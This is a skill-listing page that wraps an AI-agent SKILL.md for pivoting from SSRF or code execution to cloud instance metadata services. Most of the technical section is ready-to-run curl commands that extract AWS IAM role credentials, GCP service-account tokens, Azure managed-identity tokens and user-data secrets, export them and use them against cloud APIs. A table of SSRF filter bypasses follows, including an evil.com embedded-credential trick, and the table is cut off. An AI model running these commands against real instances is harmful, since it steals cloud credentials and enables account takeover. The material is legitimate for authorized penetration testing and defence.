imds-pivot
What it does
This skill covers how cloud metadata endpoints can be reached through a server-side weakness, and how to check for it. It is for cloud and application security teams.
When to use it
- ✓When an authorized test finds a server-side request flaw on a cloud-hosted app.
- ✓When you need to check whether metadata services are protected on your cloud instances.
- ✓When a team wants a table comparing metadata endpoints across cloud providers.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“Our web app runs on AWS. Can you check whether a server-side request flaw could reach the instance metadata service?”
5 new skills a week. 1 minute to read.
How it works
The agent identifies the cloud provider, checks which metadata endpoint type applies, and reports whether protections such as session tokens would block the route.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Instance Metadata Service Pivot
When you have SSRF, server-side fetch, or RCE on a cloud-hosted instance, the metadata endpoint is the single highest-value local pivot. Each cloud has slightly different mechanics.
1. Identify the cloud provider
Header fingerprints, IP ranges, or just try in order:
| Cloud | Endpoint | Auth |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
IMDSv1: no header. IMDSv2: PUT for token |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
Header Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
Header Metadata: true |
| Alibaba | http://100.100.100.200/latest/meta-data/ |
None |
| DigitalOcean | http://169.254.169.254/metadata/v1/ |
None |
| Oracle Cloud | http://169.254.169.254/opc/v2/instance/ |
Header Authorization: Bearer Oracle |
metadata_endpoints("aws") → returns full URL list for AWS
metadata_endpoints("gcp")
metadata_endpoints("azure")
2. AWS — extract IAM role creds
IMDSv1 (legacy, no token required):
ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json
IMDSv2 (requires session token):
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json
Output:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...", ← session token (REQUIRED for ASIA keys)
"Expiration": "2026-..."
}
Use:
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/creds.json)
aws sts get-caller-identity
# Pivot to aws-iam-enum/SKILL.md
3. AWS — user-data (often holds secrets)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/user-data"
User-data is the boot script. Often contains:
- AWS credentials (despite docs saying not to)
- API tokens, license keys
- Database connection strings
- Internal infrastructure URLs
4. GCP — service account tokens
H='Metadata-Flavor: Google'
# Identify
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email'
# Get access token (Bearer)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' > /tmp/gcp.json
TOKEN=$(jq -r .access_token /tmp/gcp.json)
# Use it
curl -s -H "Authorization: Bearer $TOKEN" \
'https://www.googleapis.com/compute/v1/projects/PROJ/zones/ZONE/instances'
# Project ID
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/project/project-id'
# All custom metadata (often holds startup secrets)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true'
5. Azure — managed identity tokens
H='Metadata: true'
# Instance metadata
curl -s -H "$H" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
# Token for resource ARM
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' > /tmp/azure.json
TOKEN=$(jq -r .access_token /tmp/azure.json)
# Use Bearer for ARM API
curl -s -H "Authorization: Bearer $TOKEN" \
'https://management.azure.com/subscriptions?api-version=2020-01-01'
# Token for storage (specify resource)
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/'
# Token for KeyVault
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'
6. SSRF through filters
When the target server filters local IPs:
| Bypass | Example |
|---|---|
| Decimal IP | 2852039166 for 169.254.169.254 |
| Hex IP | 0xA9FEA9FE |
| Mixed encoding | 169.254.169.0254 (octal last octet) |
| Embedded creds | http://169.254.169.254:80@evil.com/ (some parsers) |
| DNS rebinding | Domain w/ 1s TTL fli |
FAQ
What is the metadata service?
It is an internal address on cloud instances that provides configuration details and sometimes credentials.
Why do versions matter?
The skill notes that the newer AWS version requires a session token, which blocks simple requests.
Which providers are covered?
The skill lists AWS, Google Cloud, Azure, Alibaba Cloud, DigitalOcean and Oracle Cloud.
Details
Original description by the author
Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13998
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.